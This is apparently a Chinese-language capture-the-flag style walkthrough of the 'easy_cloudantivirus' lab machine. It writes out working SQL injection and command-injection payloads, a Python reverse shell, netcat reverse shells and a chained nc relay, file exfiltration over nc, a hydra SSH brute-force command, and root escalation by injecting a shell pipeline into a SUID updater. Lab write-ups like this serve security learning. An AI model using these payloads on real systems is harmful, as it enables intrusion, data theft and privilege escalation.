easy_cloudantivirus
靶机地址
攻击手段
- 端口扫描
- WEB侦查
- SQL注入
- 命令注入
- 密码爆破
- 代码审计
- NC串联
- 本地提权
所用工具
arping
nmap
hydra
nc
burp
sqlite
开始攻击
主机发现
使用arping来发现
因为arping一次只能扫一个可使用for i in $(seq 1 254);do arping -c 2 192.168.168.$i;done
来扫描网段
也可使用nmap 192.168.168.0/24
发现主机
可看到目标主机开了22和8080端口,扫描具体的端口和服务nmap -p22,8080 -sV 192.168.168.14
访问8080
发现是一个云病毒扫描
需要使用邀请码登录。
这样就有两种方法
- 暴力破解
- sql注入
sql注入
抓包后,可以尝试所有的特殊符号33个。发现"报错查看页面后
看到sql语句
select * from code where password="' + password + '"
这样就可以闭合sql语句
使用or 1=1
使条件永为真
即输入"or 1=1--+
成功进入
当输入hello中时
命令执行
由上面得,我们猜测在后端执行的命令得逻辑为
avscan hello |ls
这样输入hello |ls
得到
成功!
反弹shell
因为本机有python2环境,可使用上次使用的反弹shell
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.168.13",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);
但这次尝试nc反弹shell
查看是否有nc
hello |which nc
返回了路径,证明有nc
开启侦听nc反弹
kali端执行nc -nlvp 4444
命令
浏览器执行hello |nc 192.168.168.13 4444 -e /bin/sh
失败了
可能是因为此nc版本不支持-e参数
删除-e,可收到链接。
hello |nc 192.168.168.13 4444
nc串联
先在kali开启两个监听,分别监听3333和4444端口
在浏览器执行命令hello |nc 192.168.168.13 3333 |/bin/bash |nc 192.168.168.13 4444
两个nc都收到了返回,在3333端口执行命令,会在4444端口看到返回!
分析hello |nc 192.168.168.13 3333 |/bin/bash |nc 192.168.168.13 4444
执行后会先在3333端口建立链接,这时在3333输入任何命令都会调用/bin/bash
,执行之后从4444端口输出
查看文件
有app.py和datebase.aql
file database.sql
尝试sqlite失败,这样可以下载下来查看
下载文件
开启nc侦听5555端口并将得到的数据存入db.sql。
nc -nlvp 5555 > db.sql
之后在3333端口执行nc 192.168.168.13 5555 < database.sql
并使用sqlite
打开
可看到插入数据。
查看目标中有哪些用户
在3333端口执行cat /etc/passwd
使用cat /etc/passwd | grep /bin/bash
筛选出具有shell执行权限的用户
有三个:root,cloudav,scanner
制作字典
创建vi user.txt
创建vi pass.txt
ssh爆破
命令hydra -L user.txt -P pass.txt ssh://192.168.168.14
可惜失败了!
查看其他文件
在上一级目录中发现了相同名称的文件
在ls -l
后发现updata_cloudav文件得所有者是root
这样若我们能进行命令注入将得到root权限
查看源文件cat update_cloudav.c
可看到在执行该文件时需在后面加命令
看到调用了log
猜测也可调用nc
提权
再次使用./update_cloudav "a|nc 192.168.168.13 5555 | /bin/bash |nc 192.168.168.13 6666"
并监听5555和6666。
这样就得到了root权限!!
补充:暴力破解邀请码
kali自带字典位置/usr/share/wordlists
选中字典后使用burp suit进行爆破。
总结
本次实验包含
- 主机发现
- 端口扫描/服务发现
- sql注入/爆破
- 命令执行
- ssh爆破
- suid提权
勇于尝试,遇到失败转换思路,不要气馁。